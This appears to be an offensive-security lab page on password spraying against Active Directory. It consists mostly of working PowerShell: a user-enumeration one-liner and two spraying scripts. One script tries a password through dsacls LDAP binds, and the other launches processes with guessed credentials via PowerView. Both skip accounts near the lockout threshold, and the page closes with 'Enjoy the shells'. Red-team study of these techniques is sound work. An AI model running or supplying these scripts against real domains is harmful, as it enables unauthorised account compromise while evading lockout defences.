Active Directory Password Spraying
This lab explores ways of password spraying against Active Directory accounts.
Get-ADUser -Properties name -Filter * | Select-Object -ExpandProperty name | Out-File users.txt
type users.txt
While I was poking around with dsacls for enumerating AD object permissions
I noticed that one could attempt to bind to LDAP using specific AD credentials, so a dirty AD password spraying POC came about:
$domain = ((cmd /c set u)[-3] -split "=")[-1]
$pdc = ((nltest.exe /dcname:$domain) -split "\\\\")[1]
$lockoutBadPwdCount = ((net accounts /domain)[7] -split ":" -replace " ","")[1]
$password = "123456"
# (Get-Content users.txt)
"krbtgt","spotless" | % {
$badPwdCount = Get-ADObject -SearchBase "cn=$_,cn=users,dc=$domain,dc=local" -Filter * -Properties badpwdcount -Server $pdc | Select-Object -ExpandProperty badpwdcount
if ($badPwdCount -lt $lockoutBadPwdCount - 3) {
$isInvalid = dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:[email protected].local /passwd:$password | select-string -pattern "Invalid Credentials"
if ($isInvalid -match "Invalid") {
Write-Host "[-] Invalid Credentials for $_ : $password" -foreground red
} else {
Write-Host "[+] Working Credentials for $_ : $password" -foreground green
}
}
}
Similarly to dsacls, it's possible to spray passwords with
Start-Process cmdlet and the help of PowerView's cmdlets:spray-ldap.ps1
# will spray only users that currently have 0 bad password attempts
# dependency - powerview
function Get-BadPasswordCount {
param(
$username = "username",
$domain = "offense.local"
)
$pdc = (get-netdomain -domain $domain).PdcRoleOwner
$badPwdCount = (Get-NetUser $username -Domain $domain -DomainController $pdc.name).badpwdcount
return $badPwdCount
}
$users = Get-netuser -properties samaccountname | Select-Object -ExpandProperty samaccountname
$domain = "offense.local"
$password = "123456"
Write-Host $users.Count users supplied; $users | % {
$badPasswordCount = Get-BadPasswordCount -username $_ -Domain $domain
if ($badPasswordCount -lt 0) {
Write-Host Spraying : -NoNewline; Write-host -ForegroundColor Green " $_"
$credentials = New-Object System.Management.Automation.PSCredential -ArgumentList @("$domain\$_",(ConvertTo-SecureString -String $password -AsPlainText -Force))
Start-Process cmd -Credential ($credentials)
} else {
Write-Host "Ignoring $_ with $badPasswordCount badPwdCount" -ForegroundColor Red
}
}
Enjoy the shells: